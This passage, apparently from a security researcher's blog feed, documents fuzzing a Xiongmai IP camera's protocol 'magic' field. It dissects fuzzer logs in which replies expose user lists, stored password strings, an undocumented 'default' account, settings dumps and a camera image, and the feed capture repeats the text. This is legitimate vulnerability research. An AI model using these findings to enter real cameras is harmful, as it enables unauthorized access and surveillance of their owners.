0x0fff :  unused : 15147142017989187717 :   00:00:00.384266000
0x0ff6 :  unused : 16036212785124225768 :   00:00:00.423033000
0x0ff7 :  unused :  3934626923425214118 :   00:00:00.423048000
0x0fef :  unused :   784495433133620875 :   00:00:00.465630000
0x0ff0 :  unused :  8924739629740135316 :   00:00:00.465648000
0x0ff8 :  unused : 17166435733447359522 :   00:00:00.422446000
0x0ff9 :  unused : 11108002682450497409 :   00:00:00.422467000
0x0ffa :  unused : 11116907754345188397 :   00:00:00.421792000
0x0ffb :  unused :  8156710575546691230 :   00:00:00.421819000
0x1000 :  unused :  6252091348165092127 :   00:00:00.384556000
0x0fe9 :  unused :  5183855669207984885 :   00:00:00.751042000
0x0fea :  unused :   829040888724800310 :   00:00:00.750799000

Status
Factory: done
Last Check In: 2019-04-17 10:59:17 -07:00
Total Successes: 3983
Total Unique Replies: 49
Total Bad Results: 114
Error:
Errors: {}</code></pre>
<p>Using this we can fuzz a space of 0x0 to 0x1000 in only 30 minutes!</p>
<p>Each fiber will use it&#39;s own socket, send a message, then wait to receive on. If the timeout becomes to great, it drops the message and moves to the next one.</p>
<p>If the camera turns off for some reason, a 2 minute grace period is applied to the time out, to wait for it to attempt to come back. This to ensure all the ground is still covered. This does mean that someone does have to be around to restart the camera if it does go down, but maybe I&#39;ll make a raspberry pi that shuts the thing down with a relay one day.</p>
<p>You can view an example log <a href="https://github.com/sol-vin/xiongmai-investigational-journey/blob/master/logs/magic_fuzzer_logs/system_info.log">here</a>. I&#39;ll be dissecting this log for starters.</p>
<p>The most common reply is,</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;SystemInfo\&quot;, \&quot;Ret\&quot; : 102, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;</code></pre>
<br>
<p>With around 4000 magics.</p>
<p>This one is a login failure packet. Interestingly enough, it reports a different error code if it doesn&#39;t get a password or username, 205.</p>
<pre class="code-block"><code>&quot;{ \&quot;AliveInterval\&quot; : 0, \&quot;ChannelNum\&quot; : 0, \&quot;DeviceType \&quot; : \&quot;DVR\&quot;, \&quot;ExtraChannel\&quot; : 10744252, \&quot;Ret\&quot; : 205, \&quot;SessionID\&quot; : \&quot;0x0000000B\&quot; }\n&quot;
    Bytes: [&quot;0x03e8&quot;]</code></pre>
<p>Whatever these ones do, they report success. Could be interesting to find out exactly what these guys do.</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x03ea&quot;, &quot;0x0410&quot;, &quot;0x0416&quot;, &quot;0x041a&quot;, &quot;0x0578&quot;, &quot;0x05e0&quot;, &quot;0x05dc&quot;, &quot;0x05de&quot;, &quot;0x0670&quot;, &quot;0x06ea&quot;, &quot;0x0684&quot;, &quot;0x0676&quot;, &quot;0x07d2&quot;]</code></pre>
<p>This one is the &quot;keep alive&quot;, which keeps the connection to the camera going as long as it recieves a keep alive packet.</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;KeepAlive\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x03ee&quot;]</code></pre>
<p>After some pretty standard results, as well as the actual reply for SystemInfo, we eventually get to an interesting territory that shows us a little insight into the protocol.</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;OPMonitor\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0582&quot;, &quot;0x0585&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPPlayBack\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x058c&quot;, &quot;0x0591&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPPlayBack\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0590&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTalk\&quot;, \&quot;Ret\&quot; : 504, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0596&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTalk\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x059a&quot;, &quot;0x059b&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 119, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05a0&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPLogQuery\&quot;, \&quot;OPLogQuery\&quot; : null, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x0\&quot; }\n&quot;
    Bytes: [&quot;0x05a2&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPSCalendar\&quot;, \&quot;OPSCalendar\&quot; : { \&quot;Mask\&quot; : 0 }, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x0\&quot; }\n&quot;
    Bytes: [&quot;0x05a6&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 109, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05a8&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTimeQuery\&quot;, \&quot;OPTimeQuery\&quot; : \&quot;2000-12-07 02:55:43\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x0\&quot; }\n&quot;
    Bytes: [&quot;0x05ac&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05b4&quot;, &quot;0x0828&quot;]</code></pre>
<p>The original command we were fuzzing is &quot;SystemInfo&quot;. Why is the returning name something different, like OPSCalendar? This is interesting, it means that not only does the magic field control command type, some of these commands are not programmed with very much error checking, so they can produce some wild results when poked and prodded in the right way. We also now have new command names to fuzz.</p>
<pre class="code-block"><code>&quot;{ \&quot;AuthorityList\&quot; : [ \&quot;ShutDown\&quot;, \&quot;ChannelTitle\&quot;, \&quot;RecordConfig\&quot;, \&quot;Backup\&quot;, \&quot;StorageManager\&quot;, \&quot;Account\&quot;, \&quot;SysInfo\&quot;, \&quot;QueryLog\&quot;, \&quot;DelLog\&quot;, \&quot;SysUpgrade\&quot;, \&quot;AutoMaintain\&quot;, \&quot;TourConfig\&quot;, \&quot;TVadjustConfig\&quot;, \&quot;GeneralConfig\&quot;, \&quot;EncodeConfig\&quot;, \&quot;CommConfig\&quot;, \&quot;NetConfig\&quot;, \&quot;AlarmConfig\&quot;, \&quot;VideoConfig\&quot;, \&quot;PtzConfig\&quot;, \&quot;PTZControl\&quot;, \&quot;DefaultConfig\&quot;, \&quot;Talk_01\&quot;, \&quot;IPCCamera\&quot;, \&quot;ImExport\&quot;, \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05be&quot;]
&quot;{ \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot;, \&quot;Users\&quot; : [ { \&quot;AuthorityList\&quot; : [ \&quot;ShutDown\&quot;, \&quot;ChannelTitle\&quot;, \&quot;RecordConfig\&quot;, \&quot;Backup\&quot;, \&quot;StorageManager\&quot;, \&quot;Account\&quot;, \&quot;SysInfo\&quot;, \&quot;QueryLog\&quot;, \&quot;DelLog\&quot;, \&quot;SysUpgrade\&quot;, \&quot;AutoMaintain\&quot;, \&quot;TourConfig\&quot;, \&quot;TVadjustConfig\&quot;, \&quot;GeneralConfig\&quot;, \&quot;EncodeConfig\&quot;, \&quot;CommConfig\&quot;, \&quot;NetConfig\&quot;, \&quot;AlarmConfig\&quot;, \&quot;VideoConfig\&quot;, \&quot;PtzConfig\&quot;, \&quot;PTZControl\&quot;, \&quot;DefaultConfig\&quot;, \&quot;Talk_01\&quot;, \&quot;IPCCamera\&quot;, \&quot;ImExport\&quot;, \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Group\&quot; : \&quot;admin\&quot;, \&quot;Memo\&quot; : \&quot;admin &#39;s account\&quot;, \&quot;Name\&quot; : \&quot;admin\&quot;, \&quot;NoMD5\&quot; : null, \&quot;Password\&quot; : \&quot;mF95aD4o\&quot;, \&quot;Reserved\&quot; : true, \&quot;Sharable\&quot; : true }, { \&quot;AuthorityList\&quot; : [ \&quot;Monitor_01\&quot; ], \&quot;Group\&quot; : \&quot;user\&quot;, \&quot;Memo\&quot; : \&quot;default account\&quot;, \&quot;Name\&quot; : \&quot;default\&quot;, \&quot;NoMD5\&quot; : null, \&quot;Password\&quot; : \&quot;OxhlwSG8\&quot;, \&quot;Reserved\&quot; : false, \&quot;Sharable\&quot; : false } ] }\n&quot;
    Bytes: [&quot;0x05c0&quot;]
&quot;{ \&quot;Groups\&quot; : [ { \&quot;AuthorityList\&quot; : [ \&quot;ShutDown\&quot;, \&quot;ChannelTitle\&quot;, \&quot;RecordConfig\&quot;, \&quot;Backup\&quot;, \&quot;StorageManager\&quot;, \&quot;Account\&quot;, \&quot;SysInfo\&quot;, \&quot;QueryLog\&quot;, \&quot;DelLog\&quot;, \&quot;SysUpgrade\&quot;, \&quot;AutoMaintain\&quot;, \&quot;TourConfig\&quot;, \&quot;TVadjustConfig\&quot;, \&quot;GeneralConfig\&quot;, \&quot;EncodeConfig\&quot;, \&quot;CommConfig\&quot;, \&quot;NetConfig\&quot;, \&quot;AlarmConfig\&quot;, \&quot;VideoConfig\&quot;, \&quot;PtzConfig\&quot;, \&quot;PTZControl\&quot;, \&quot;DefaultConfig\&quot;, \&quot;Talk_01\&quot;, \&quot;IPCCamera\&quot;, \&quot;ImExport\&quot;, \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Memo\&quot; : \&quot;administrator group\&quot;, \&quot;Name\&quot; : \&quot;admin\&quot; }, { \&quot;AuthorityList\&quot; : [ \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Memo\&quot; : \&quot;user group\&quot;, \&quot;Name\&quot; : \&quot;user\&quot; } ], \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05c2&quot;]</code></pre>
<p>Now we start getting into the tastiest meat!</p>
<pre class="code-block"><code>{ \&quot;AuthorityList\&quot; : [ \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Memo\&quot; : \&quot;user group\&quot;, \&quot;Name\&quot; : \&quot;user\&quot; } ], \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;</code></pre>
<p>Here we find a hidden user account, &quot;default&quot; with stream only privileges. This is great! It&#39;s a new avenue to check. It&#39;s possible the &quot;authorities list&quot; wasn&#39;t set up right, and it may allow us to access functions of the camera without the need for a login. This account also isn&#39;t mentioned anywhere in the manuals for the device.</p>
<p>We can also see the full authority list for &quot;admin&quot;, which includes shutdown and upgrade privileges. Juicy!</p>
<pre class="code-block"><code>BINARY FILE &quot;{ \&quot;command\&quot; : \&quot;sync\&quot;,&quot;
    Bytes: [&quot;0x0666&quot;]</code></pre>
<p>This one is particularly interesting, my fuzzer flagged it as a &quot;binary file&quot; because it couldn&#39;t parse it into JSON. It seems like the command cut off part way through sending, maybe something interesting is happening (like crash).</p>
<pre class="code-block"><code>BINARY FILE &quot;PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\u000FiP\xB9\a\u0000\u0000&quot;
    Bytes: [&quot;0x0606&quot;]
BINARY FILE &quot;PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xE6\xE5\x90\u0618\u0002\u0000\u0000\u0004&quot;
    Bytes: [&quot;0x0608&quot;]
BINARY FILE &quot;PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xC4\u0003#\&quot;\u0018\u0000\u0000&quot;
    Bytes: [&quot;0x066c&quot;]</code></pre>
<p>We also get some zip files which contains settings dumps, while interesting don&#39;t contain anything we didn&#39;t already know about the camera.</p>
<pre class="code-block"><code>BINARY FILE &quot;\xFF\xD8\xFF\xE0\u0000\u0010JFIF\u0000\u0001\u0001\u0000\u0000\u0001\u0000\u0001\u0000\u0000\xFF&quot;
    Bytes: [&quot;0x0618&quot;]</code></pre>
<p>0x0618 gives us an image from the camera, will be useful for later.</p>
<p>Overall, we&#39;ve gained some interesting insight into the device, and we haven&#39;t even fuzzed all the commands, and the unauthenticated user account yet!</p>
<p>The user account &quot;default&quot; ends up giving us a clear picture of whats going on. Since it only has stream privileges, most of it&#39;s replies are stream related.</p>
<pre class="code-block"><code>Command results: Started at 2019-04-18 20:07:00 -07:00
Total time: 00:51:34.994305000

&quot;{ \&quot;AliveInterval\&quot; : 0, \&quot;ChannelNum\&quot; : 0, \&quot;DeviceType \&quot; : \&quot;DVR\&quot;, \&quot;ExtraChannel\&quot; : 10976316, \&quot;Ret\&quot; : 205, \&quot;SessionID\&quot; : \&quot;0x000042C9\&quot; }\n&quot;
    Bytes: [&quot;0x03e8&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 102, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x03f2&quot;, &quot;0x080e&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPMonitor\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0585&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPPlayBack\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0590&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTalk\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x059a&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;GetSafetyAbility\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot;, \&quot;authorizeStat\&quot; : null }\n&quot;
    Bytes: [&quot;0x0672&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPRecordSnap\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x07fc&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 105, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0852&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 106, \&quot;SessionID\&quot; : \&quot;0x000066E9\&quot; }\n&quot;
    Bytes: [&quot;0x02ee&quot;, &quot;0x0192&quot;, &quot;0x00a7&quot;, &quot;0x0e27&quot;, &quot;0x0041&quot;, &quot;0x01c1&quot;, &quot;0x0032&quot;, &quot;0x0fa6&quot;, &quot;0x03f7&quot;, &quot;0x0740&quot;, &quot;0x0d85&quot;, &quot;0x0c3e&quot;, &quot;0x095d&quot;, &quot;0x06ee&quot;, &quot;0x02b7&quot;, &quot;0x08ac&quot;, &quot;0x0db9&quot;, &quot;0x08d6&quot;, &quot;0x00bb&quot;, &quot;0x0b37&quot;, &quot;0x0606&quot;, &quot;0x0996&quot;, &quot;0x0cfb&quot;, &quot;0x0afa&quot;, &quot;0x00ba&quot;, &quot;0x0974&quot;, &quot;0x0d51&quot;, &quot;0x0906&quot;, &quot;0x0f42&quot;, &quot;0x05e2&quot;]</code></pre>
]]></description>
      <content:encoded><![CDATA[<p>During my testing I noticed an interesting quirk of this protocol, the server (camera) would allow as many connections as one wanted open to the same ip address, so long as they were all on different ports. This meant that if I could create a &quot;pool&quot; of sockets, I could use them to audit multiple magics at once, each waiting for their own replies.</p>
<p>You can view the relevant code on <a href="https://github.com/sol-vin/xiongmai-investigational-journey/blob/master/src/magic_fuzzer/magic_fuzzer.cr">GitHub</a>.</p>
<pre class="code-block"><code>Fuzzing Command::SystemInfo
Time: 00:29:14.794430000
Current: 4096/4097 : 1000
Total Completion: 99.976%
Waiting for magics:
0x0ffc :  unused : 15642636659266745398 :   00:00:00.394592000
0x0ffd :  unused :  3995498554981886474 :   00:00:00.394431000
0x0ff1 :  unused : 16849123052220723596 :   00:00:00.424488000
0x0ffe :  unused : 15843022912141103538 :   00:00:00.385055000
0x0ff2 :  unused :   666834066939202384 :   00:00:00.424001000
0x0ff3 :  unused : 11959220922209025486 :   00:00:00.423846000
0x0ff4 :  unused :  9858625403406765244 :   00:00:00.423865000
0x0ff5 :  unused :    20212055150009910 :   00:00:00.423179000
0x0fff :  unused : 15147142017989187717 :   00:00:00.384266000
0x0ff6 :  unused : 16036212785124225768 :   00:00:00.423033000
0x0ff7 :  unused :  3934626923425214118 :   00:00:00.423048000
0x0fef :  unused :   784495433133620875 :   00:00:00.465630000
0x0ff0 :  unused :  8924739629740135316 :   00:00:00.465648000
0x0ff8 :  unused : 17166435733447359522 :   00:00:00.422446000
0x0ff9 :  unused : 11108002682450497409 :   00:00:00.422467000
0x0ffa :  unused : 11116907754345188397 :   00:00:00.421792000
0x0ffb :  unused :  8156710575546691230 :   00:00:00.421819000
0x1000 :  unused :  6252091348165092127 :   00:00:00.384556000
0x0fe9 :  unused :  5183855669207984885 :   00:00:00.751042000
0x0fea :  unused :   829040888724800310 :   00:00:00.750799000

Status
Factory: done
Last Check In: 2019-04-17 10:59:17 -07:00
Total Successes: 3983
Total Unique Replies: 49
Total Bad Results: 114
Error:
Errors: {}</code></pre>
<p>Using this we can fuzz a space of 0x0 to 0x1000 in only 30 minutes!</p>
<p>Each fiber will use it&#39;s own socket, send a message, then wait to receive on. If the timeout becomes to great, it drops the message and moves to the next one.</p>
<p>If the camera turns off for some reason, a 2 minute grace period is applied to the time out, to wait for it to attempt to come back. This to ensure all the ground is still covered. This does mean that someone does have to be around to restart the camera if it does go down, but maybe I&#39;ll make a raspberry pi that shuts the thing down with a relay one day.</p>
<p>You can view an example log <a href="https://github.com/sol-vin/xiongmai-investigational-journey/blob/master/logs/magic_fuzzer_logs/system_info.log">here</a>. I&#39;ll be dissecting this log for starters.</p>
<p>The most common reply is,</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;SystemInfo\&quot;, \&quot;Ret\&quot; : 102, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;</code></pre>
<br>
<p>With around 4000 magics.</p>
<p>This one is a login failure packet. Interestingly enough, it reports a different error code if it doesn&#39;t get a password or username, 205.</p>
<pre class="code-block"><code>&quot;{ \&quot;AliveInterval\&quot; : 0, \&quot;ChannelNum\&quot; : 0, \&quot;DeviceType \&quot; : \&quot;DVR\&quot;, \&quot;ExtraChannel\&quot; : 10744252, \&quot;Ret\&quot; : 205, \&quot;SessionID\&quot; : \&quot;0x0000000B\&quot; }\n&quot;
    Bytes: [&quot;0x03e8&quot;]</code></pre>
<p>Whatever these ones do, they report success. Could be interesting to find out exactly what these guys do.</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x03ea&quot;, &quot;0x0410&quot;, &quot;0x0416&quot;, &quot;0x041a&quot;, &quot;0x0578&quot;, &quot;0x05e0&quot;, &quot;0x05dc&quot;, &quot;0x05de&quot;, &quot;0x0670&quot;, &quot;0x06ea&quot;, &quot;0x0684&quot;, &quot;0x0676&quot;, &quot;0x07d2&quot;]</code></pre>
<p>This one is the &quot;keep alive&quot;, which keeps the connection to the camera going as long as it recieves a keep alive packet.</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;KeepAlive\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x03ee&quot;]</code></pre>
<p>After some pretty standard results, as well as the actual reply for SystemInfo, we eventually get to an interesting territory that shows us a little insight into the protocol.</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;OPMonitor\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0582&quot;, &quot;0x0585&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPPlayBack\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x058c&quot;, &quot;0x0591&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPPlayBack\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0590&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTalk\&quot;, \&quot;Ret\&quot; : 504, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0596&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTalk\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x059a&quot;, &quot;0x059b&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 119, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05a0&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPLogQuery\&quot;, \&quot;OPLogQuery\&quot; : null, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x0\&quot; }\n&quot;
    Bytes: [&quot;0x05a2&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPSCalendar\&quot;, \&quot;OPSCalendar\&quot; : { \&quot;Mask\&quot; : 0 }, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x0\&quot; }\n&quot;
    Bytes: [&quot;0x05a6&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 109, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05a8&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTimeQuery\&quot;, \&quot;OPTimeQuery\&quot; : \&quot;2000-12-07 02:55:43\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x0\&quot; }\n&quot;
    Bytes: [&quot;0x05ac&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05b4&quot;, &quot;0x0828&quot;]</code></pre>
<p>The original command we were fuzzing is &quot;SystemInfo&quot;. Why is the returning name something different, like OPSCalendar? This is interesting, it means that not only does the magic field control command type, some of these commands are not programmed with very much error checking, so they can produce some wild results when poked and prodded in the right way. We also now have new command names to fuzz.</p>
<pre class="code-block"><code>&quot;{ \&quot;AuthorityList\&quot; : [ \&quot;ShutDown\&quot;, \&quot;ChannelTitle\&quot;, \&quot;RecordConfig\&quot;, \&quot;Backup\&quot;, \&quot;StorageManager\&quot;, \&quot;Account\&quot;, \&quot;SysInfo\&quot;, \&quot;QueryLog\&quot;, \&quot;DelLog\&quot;, \&quot;SysUpgrade\&quot;, \&quot;AutoMaintain\&quot;, \&quot;TourConfig\&quot;, \&quot;TVadjustConfig\&quot;, \&quot;GeneralConfig\&quot;, \&quot;EncodeConfig\&quot;, \&quot;CommConfig\&quot;, \&quot;NetConfig\&quot;, \&quot;AlarmConfig\&quot;, \&quot;VideoConfig\&quot;, \&quot;PtzConfig\&quot;, \&quot;PTZControl\&quot;, \&quot;DefaultConfig\&quot;, \&quot;Talk_01\&quot;, \&quot;IPCCamera\&quot;, \&quot;ImExport\&quot;, \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05be&quot;]
&quot;{ \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot;, \&quot;Users\&quot; : [ { \&quot;AuthorityList\&quot; : [ \&quot;ShutDown\&quot;, \&quot;ChannelTitle\&quot;, \&quot;RecordConfig\&quot;, \&quot;Backup\&quot;, \&quot;StorageManager\&quot;, \&quot;Account\&quot;, \&quot;SysInfo\&quot;, \&quot;QueryLog\&quot;, \&quot;DelLog\&quot;, \&quot;SysUpgrade\&quot;, \&quot;AutoMaintain\&quot;, \&quot;TourConfig\&quot;, \&quot;TVadjustConfig\&quot;, \&quot;GeneralConfig\&quot;, \&quot;EncodeConfig\&quot;, \&quot;CommConfig\&quot;, \&quot;NetConfig\&quot;, \&quot;AlarmConfig\&quot;, \&quot;VideoConfig\&quot;, \&quot;PtzConfig\&quot;, \&quot;PTZControl\&quot;, \&quot;DefaultConfig\&quot;, \&quot;Talk_01\&quot;, \&quot;IPCCamera\&quot;, \&quot;ImExport\&quot;, \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Group\&quot; : \&quot;admin\&quot;, \&quot;Memo\&quot; : \&quot;admin &#39;s account\&quot;, \&quot;Name\&quot; : \&quot;admin\&quot;, \&quot;NoMD5\&quot; : null, \&quot;Password\&quot; : \&quot;mF95aD4o\&quot;, \&quot;Reserved\&quot; : true, \&quot;Sharable\&quot; : true }, { \&quot;AuthorityList\&quot; : [ \&quot;Monitor_01\&quot; ], \&quot;Group\&quot; : \&quot;user\&quot;, \&quot;Memo\&quot; : \&quot;default account\&quot;, \&quot;Name\&quot; : \&quot;default\&quot;, \&quot;NoMD5\&quot; : null, \&quot;Password\&quot; : \&quot;OxhlwSG8\&quot;, \&quot;Reserved\&quot; : false, \&quot;Sharable\&quot; : false } ] }\n&quot;
    Bytes: [&quot;0x05c0&quot;]
&quot;{ \&quot;Groups\&quot; : [ { \&quot;AuthorityList\&quot; : [ \&quot;ShutDown\&quot;, \&quot;ChannelTitle\&quot;, \&quot;RecordConfig\&quot;, \&quot;Backup\&quot;, \&quot;StorageManager\&quot;, \&quot;Account\&quot;, \&quot;SysInfo\&quot;, \&quot;QueryLog\&quot;, \&quot;DelLog\&quot;, \&quot;SysUpgrade\&quot;, \&quot;AutoMaintain\&quot;, \&quot;TourConfig\&quot;, \&quot;TVadjustConfig\&quot;, \&quot;GeneralConfig\&quot;, \&quot;EncodeConfig\&quot;, \&quot;CommConfig\&quot;, \&quot;NetConfig\&quot;, \&quot;AlarmConfig\&quot;, \&quot;VideoConfig\&quot;, \&quot;PtzConfig\&quot;, \&quot;PTZControl\&quot;, \&quot;DefaultConfig\&quot;, \&quot;Talk_01\&quot;, \&quot;IPCCamera\&quot;, \&quot;ImExport\&quot;, \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Memo\&quot; : \&quot;administrator group\&quot;, \&quot;Name\&quot; : \&quot;admin\&quot; }, { \&quot;AuthorityList\&quot; : [ \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Memo\&quot; : \&quot;user group\&quot;, \&quot;Name\&quot; : \&quot;user\&quot; } ], \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05c2&quot;]</code></pre>
<p>Now we start getting into the tastiest meat!</p>
<pre class="code-block"><code>{ \&quot;AuthorityList\&quot; : [ \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Memo\&quot; : \&quot;user group\&quot;, \&quot;Name\&quot; : \&quot;user\&quot; } ], \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;</code></pre>
<p>Here we find a hidden user account, &quot;default&quot; with stream only privileges. This is great! It&#39;s a new avenue to check. It&#39;s possible the &quot;authorities list&quot; wasn&#39;t set up right, and it may allow us to access functions of the camera without the need for a login. This account also isn&#39;t mentioned anywhere in the manuals for the device.</p>
<p>We can also see the full authority list for &quot;admin&quot;, which includes shutdown and upgrade privileges. Juicy!</p>
<pre class="code-block"><code>BINARY FILE &quot;{ \&quot;command\&quot; : \&quot;sync\&quot;,&quot;
    Bytes: [&quot;0x0666&quot;]</code></pre>
<p>This one is particularly interesting, my fuzzer flagged it as a &quot;binary file&quot; because it couldn&#39;t parse it into JSON. It seems like the command cut off part way through sending, maybe something interesting is happening (like crash).</p>
<pre class="code-block"><code>BINARY FILE &quot;PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\u000FiP\xB9\a\u0000\u0000&quot;
    Bytes: [&quot;0x0606&quot;]
